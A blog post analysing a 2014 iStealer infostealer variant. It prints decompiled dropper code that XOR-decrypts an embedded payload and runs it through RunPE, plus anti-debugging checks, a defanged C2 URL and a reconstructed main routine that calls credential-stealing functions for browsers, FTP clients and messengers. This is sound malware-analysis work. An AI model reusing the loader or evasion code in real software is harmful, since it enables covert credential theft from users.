Analyzing an iStealer Variant from 2014

Hello, today I’m sharing an analysis of an old infostealer from a VirusShare archive sample which I found on the internet. The origin hash sample was:

VirusShare_0000e453688117178b797bf3a99013fc

Hash: 0000e453688117178b797bf3a99013fc

So let’s get into it! First of all, the full writeup of the analysis can be found on my GitHub over here

After much work, it seams that this was a variant of the RiskWare/iStealer infostealer. For those who don’t know, an infostealer is a type of malware which is used to steal information from a computer. Things like browser caches, browser credentials, logins, and other juicy data. Which the infostealer in here totally does. But first to get to the infostealer, we have to venture from the original sample.

Determining the Signature

First the file was analyzed with Detect it Easy and revealed that the file was a .NET binary. First I extracted some strings from the binary; and then I loaded it into DotNetSpy, which is a common .NET reverse engineering program.

DIE Detection Details

Compiler: VB.NET
Operation system: Windows(95)[I386, 32-bit, GUI]
Library: .NET Framework(Legacy, CLR v2.0.50727)
Debug data: PDB file link(7.0)

Interesting Strings in the .NET File

'       __   __    __  .__   __.  __  ___      ______   ______    _______   _______  _______     .______   ____    ____
'      |  | |  |  |  | |  \ |  | |  |/  /     /      | /  __  \  |       \ |   ____||       \    |   _  \  \   \  /   /
'      |  | |  |  |  | |   \|  | |  '  /     |  ,----'|  |  |  | |  .--.  ||  |__   |  .--.  |   |  |_)  |  \   \/   /
'.--.  |  | |  |  |  | |  . `  | |    <      |  |     |  |  |  | |  |  |  ||   __|  |  |  |  |   |   _  <    \_    _/
'|  `--'  | |  `--'  | |  |\   | |  .  \     |  `----.|  `--'  | |  '--'  ||  |____ |  '--'  |   |  |_)  |     |  |
' \______/   \______/  |__| \__| |__|\__\     \______| \______/  |_______/ |_______||_______/    |______/      |__|
'                                                                                                                       '
'          __       ___       __   __  ___ .______       __       _______. __    __  .__   __.      ___         ___
'         |  |     /   \     |  | |  |/  / |   _  \     |  |     /       ||  |  |  | |  \ |  |     /   \        \  \
'         |  |    /  ^  \    |  | |  '  /  |  |_)  |    |  |    |   (----`|  |__|  | |   \|  |    /  ^  \        \  \   ______
'   .--.  |  |   /  /_\  \   |  | |    <   |      /     |  |     \   \    |   __   | |  . `  |   /  /_\  \        \  \ |______|
'   |  `--'  |  /  _____  \  |  | |  .  \  |  |\  \----.|  | .----)   |   |  |  |  | |  |\   |  /  _____  \        \  \
'    \______/  /__/     \__\ |__| |__|\__\ | _| `._____||__| |_______/    |__|  |__| |__| \__| /__/     \__\        \__\
Antivirus System Tray Tool
avgnt.exe
AntiVir Desktop

DNSpy Details, Juicy function, the dropper

After going through some of the .NET code, I found an interesting call to a dropper function which loaded the resource called “69_GAY”, and in there was the infostealer.

// Token: 0x06000027 RID: 39 RVA: 0x00005800 File Offset: 0x00003C00
public static void Main()
{
    string moduleName = Process.GetCurrentProcess().MainModule.ModuleName;
    IntPtr moduleHandle = Module1.GetModuleHandle(ref moduleName);
    IntPtr intPtr = Module1.FindResource(moduleHandle, "69", "GAY");
    IntPtr intPtr2 = Module1.LoadResource(moduleHandle, intPtr);
    int num = Module1.SizeofResource(moduleHandle, intPtr);
    checked
    {
        byte[] array = new byte[num - 1 + 1];
        Marshal.Copy(intPtr2, array, 0, num);
        int num2 = BitConverter.ToInt32(array, array.Length - 4);
        array = (byte[])Utils.CopyArray((Array)array, new byte[array.Length - 3 + 1]);
        Random random = new Random(num2);
        byte[] array2 = new byte[array.Length - 1 + 1];
        random.NextBytes(array2);
        int num3 = 0;
        int num4 = array.Length - 1;
        for (int i = num3; i <= num4; i++)
        {
            array[i] ^= array2[i];
        }
        x86.RunPE(array, Process.GetCurrentProcess().MainModule.FileName);
    }
}

So then I crafted some C# code to decrypt the payload from that specific resource, and then started to do analysis on the extracted payload which was encrypted with a simple XOR encryption.

using System;
using System.IO;
using System.Linq;

class Program
{
    static void Main()
    {
        string inputPath = "69_GAY.bin";
        string outputPath = "decrypted_payload.exe";

        if (!File.Exists(inputPath))
        {
            Console.WriteLine("File not found: " + inputPath);
            return;
        }

        byte[] fileBytes = File.ReadAllBytes(inputPath);

        if (fileBytes.Length < 4)
        {
            Console.WriteLine("File too small to contain seed.");
            return;
        }

        // Extract seed from the last 4 bytes
        int seed = BitConverter.ToInt32(fileBytes, fileBytes.Length - 4);

        // Extract payload (everything except the last 4 bytes)
        byte[] payload = new byte[fileBytes.Length - 4];
        Array.Copy(fileBytes, payload, payload.Length);

        // Generate PRNG key stream
        Random rng = new Random(seed);
        byte[] xorKey = new byte[payload.Length];
        rng.NextBytes(xorKey);

        // Decrypt payload
        for (int i = 0; i < payload.Length; i++)
            payload[i] ^= xorKey[i];

        // Write output
        File.WriteAllBytes(outputPath, payload);
        Console.WriteLine("Decrypted payload written to: " + outputPath);
    }
}

Decrypted Payload from 69_GAY.bin

Operation system: Windows(95)[I386, 32-bit, GUI]
Linker: Microsoft Linker(5.12.8034)
Compiler: Microsoft Visual C/C++(12.00.8168)[C]
Language: C

Analyzing the C binary

Within WinMain, which was called after start, I went straight for the infostealer main part. I noticed that it went for a binary resource that was at the marker 0xA, and then noticed that in a specific sub call that there was this decryption code. Again with the custom XOR encryption.

sub_402022(byte_4556B6);

char *__cdecl sub_402022(char *Str)
{
  size_t i; // esi

  for ( i = 0; i < strlen(Str); ++i )
    Str[i] ^= i % 5 + 1;
  return Str;
}

After crafting this back into a script I can use with Python. I started going through the various calls and labeling everything. After loading the bin file from 0xA, I found the C2 domain which appeared to be in Romania. Also, the domain after inspecting in Robtex DNS, appeared to belong to a hosting company which was hosting a variety of other questionable sites. Interesting how the site was still live even today.

hxxp[:]//www[.]istealerlegends.hi2[.]ro/index.php

Later I realized that the code had some antidebugging, which I took from the IDA pseudocode and then relabeled like so:

FreeResource(copy_of_encrypted_c2_domain_name);
        if ( (!encrypted_c2_domain_str_buffer_memory || !anti_debugger_check_realtime_clock())
          && (!zero_byte_001 || !if_debug_flags_enabled())
          && (!zero_byte_002 || !is_procmon_running())
          && (!zero_byte_003 || !is_gdkWindowTopLevel_showing())

But eventually I went into the full WinMain and all subcalls and determined that the code looked more or less like this:


int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  HRSRC encrypted_c2_domain_bin_resource; // eax
  HRSRC copy_of_encrypted_c2_domain_name; // esi
  HGLOBAL encrypted_c2_domain_resource_string; // eax
  HRSRC ResourceA; // eax
  HRSRC v8; // esi
  HGLOBAL Resource; // eax
  FILE *v10; // eax
  FILE *v11; // edi
  BYTE reg_value_local_app_data[260]; // [esp+Ch] [ebp-5CCh] BYREF
  BYTE reg_value_program_files[260]; // [esp+110h] [ebp-4C8h] BYREF
  BYTE reg_value_local_machine_app_data[260]; // [esp+214h] [ebp-3C4h] BYREF
  CHAR File[260]; // [esp+318h] [ebp-2C0h] BYREF
  char reg_value_roaming_app_data[260]; // [esp+41Ch] [ebp-1BCh] BYREF
  CHAR REG_WINDOWS_CURRENT_VERSION[44]; // [esp+520h] [ebp-B8h] BYREF
  CHAR REG_EXPLORER_SHELL_FOLDERS[68]; // [esp+54Ch] [ebp-8Ch] BYREF
  int programFilesDir; // [esp+590h] [ebp-48h] BYREF
  char v21[16]; // [esp+594h] [ebp-44h] BYREF
  int commonAppData; // [esp+5A4h] [ebp-34h] BYREF
  char v23[12]; // [esp+5A8h] [ebp-30h] BYREF
  int localAppData; // [esp+5B4h] [ebp-24h] BYREF
  char v25[12]; // [esp+5B8h] [ebp-20h] BYREF
  int appData; // [esp+5C4h] [ebp-14h] BYREF
  char v27[8]; // [esp+5C8h] [ebp-10h] BYREF
  size_t ElementSize; // [esp+5D0h] [ebp-8h]
  void *encrypted_c2_domain_str_buffer; // [esp+5D4h] [ebp-4h]

  qmemcpy(REG_WINDOWS_CURRENT_VERSION, &WINDOWS_VERSION, 0x2Bu);
  programFilesDir = PROGRAM_FILES_DIR;
  strcpy(v21, "cw`oEmidqGmw");
  qmemcpy(REG_EXPLORER_SHELL_FOLDERS, &EXPLORER_SHELL_FOLDERS, 0x42u);
  commonAppData = COMMON_APP_DATA;
  strcpy(v23, "ijo\"BtuEcwe");
  appData = APP_DATA;
  strcpy(v27, "@duc");
  localAppData = LOCAL_APP_DATA;
  strcpy(v25, "ei!CstA`vb");
  decrypt_string_001(REG_WINDOWS_CURRENT_VERSION);
  decrypt_string_001((char *)&programFilesDir);
  decrypt_string_001(REG_EXPLORER_SHELL_FOLDERS);
  decrypt_string_001((char *)&commonAppData);
  decrypt_string_001((char *)&appData);
  decrypt_string_001((char *)&localAppData);
  encrypted_c2_domain_bin_resource = FindResourceA(0, Name, (LPCSTR)0xA);
  copy_of_encrypted_c2_domain_name = encrypted_c2_domain_bin_resource;
  if ( encrypted_c2_domain_bin_resource )
  {
    encrypted_c2_domain_resource_string = LoadResource(0, encrypted_c2_domain_bin_resource);
    encrypted_c2_domain_str_buffer = LockResource(encrypted_c2_domain_resource_string);
    if ( encrypted_c2_domain_str_buffer )
    {
      if ( SizeofResource(0, copy_of_encrypted_c2_domain_name) == 174 )
      {
        memcpy(&encrypted_c2_domain_str_buffer_memory, encrypted_c2_domain_str_buffer, 0xADu);
        FreeResource(copy_of_encrypted_c2_domain_name);
        if ( (!encrypted_c2_domain_str_buffer_memory || !anti_debugger_check_realtime_clock())
          && (!zero_byte_001 || !if_debug_flags_enabled())
          && (!zero_byte_002 || !is_procmon_running())
          && (!zero_byte_003 || !is_gdkWindowTopLevel_showing())
          && GetRegistryKey(
               HKEY_LOCAL_MACHINE,
               REG_WINDOWS_CURRENT_VERSION,
               (LPCSTR)&programFilesDir,
               reg_value_program_files)
          && GetRegistryKey(
               HKEY_LOCAL_MACHINE,
               REG_EXPLORER_SHELL_FOLDERS,
               (LPCSTR)&commonAppData,
               reg_value_local_machine_app_data)
          && GetRegistryKey(
               HKEY_CURRENT_USER,
               REG_EXPLORER_SHELL_FOLDERS,
               (LPCSTR)&appData,
               (LPBYTE)reg_value_roaming_app_data)
          && GetRegistryKey(
               HKEY_CURRENT_USER,
               REG_EXPLORER_SHELL_FOLDERS,
               (LPCSTR)&localAppData,
               reg_value_local_app_data) )
        {
          decrypt_string_002(encrypted_c2_mmdf_contents_0x16_offset);
          if ( byte_45571A )
          {
            decrypt_string_002(byte_45571B);
            strcpy(File, reg_value_roaming_app_data);
            strcat(File, backslash);
            strcat(File, byte_45571B);
            ResourceA = FindResourceA(0, a2, (LPCSTR)0xA);
            v8 = ResourceA;
            if ( !ResourceA )
              return 0;
            Resource = LoadResource(0, ResourceA);
            encrypted_c2_domain_str_buffer = LockResource(Resource);
            if ( !encrypted_c2_domain_str_buffer )
              return 0;
            ElementSize = SizeofResource(0, v8);
            v10 = fopen(File, aWb);
            v11 = v10;
            if ( !v10 )
              return 0;
            fwrite(encrypted_c2_domain_str_buffer, ElementSize, 1u, v10);
            fclose(v11);
            FreeResource(v8);
            ShellExecuteA(0, Operation, File, 0, 0, 1);
          }
          CryptProcessBootstrap();
          if ( zero_byte_005 )
            STEALER_Enum_Passport_NET();
          if ( zero_byte_006 )
            STEALER_Enum_Google_Talk();
          if ( zero_byte_007 )
            STEALER_Enum_Trillian((char *)reg_value_program_files);
          if ( zero_byte_008 )
            STEALER_Enum_Pidgin_and_Purple(reg_value_roaming_app_data);
          if ( zero_byte_009 )
            STEALER_Enum_Paltalk();
          if ( zero_byte_00A )
            STEALER_Get_Steam_Info();
          if ( zero_byte_00B )
            STEALER_VitalWerks_info();
          if ( zero_byte_00C )
            STEALER_DynDNS((char *)reg_value_local_machine_app_data);
          if ( zero_byte_00D )
            STEALER_Get_Firefox_info(reg_value_roaming_app_data);
          if ( zero_byte_00E )
            STEALER_Get_MSIE_Cache();
          if ( zero_byte_00F )
            STEALER_Get_Chrome_Info(reg_value_roaming_app_data, (char *)reg_value_local_app_data);
          if ( zero_byte_010 )
            STEALER_Opera_Get_data(reg_value_roaming_app_data);
          if ( zero_byte_011 )
            STEALER_Get_DownloadManager_Password();
          if ( zero_byte_012 )
            STEALER_Finish_Tag_Closures(reg_value_roaming_app_data);
          if ( zero_byte_013 )
            STEALER_Authenticate_DB((char *)reg_value_local_machine_app_data);
          if ( zero_byte_014 )
            STEALER_SmartFTP_Get_Credentials(reg_value_roaming_app_data);
          if ( zero_byte_015 )
            STEALER_Get_CuteFTP_Info(reg_value_roaming_app_data);
          STEALER_Free_hLib_and_crypt32();
          if ( zero_byte_004 )
            STEALER_Shell_Execute_and_Delete();
          exit_2(0);
        }
      }
    }
  }
  return 0;
}

Summary

As we can see, the code goes after the following programs:

  • .NET Passport
  • Google Talk Credentials
  • Trillian Accounts and Credentials
  • Pidgin Accounts and Credentials
  • Paltalk Login
  • Steam Credentials
  • VitalWerks Data
  • DynDNS Information
  • FlashFXP Sites Data
  • Firefox Caches
  • MSIE Caches
  • Opera Caches
  • DownloadManager Credentials
  • SmartFTP Sites and Credentials and Favorite Sites
  • CuteFTP Pro, Lite, and Home Credentials and Favorite Sites

Also, this program made use of the SQLite 3 database library. And after analyzing the targeted strings for the Firefox versions, I determined that this sample was from around the time of 2014 or so. But anyway, I uploaded it into VirusTotal, where you can see that the details were confirmed..

iStealer Process YARA File (LINK)

Full Analysis on GitHub (LINK)

VirusTotal Sample Behavior Page (LINK)

Published On: May 12th, 2025 / Categories: Uncategorized /

Leave A Comment

Blog Categories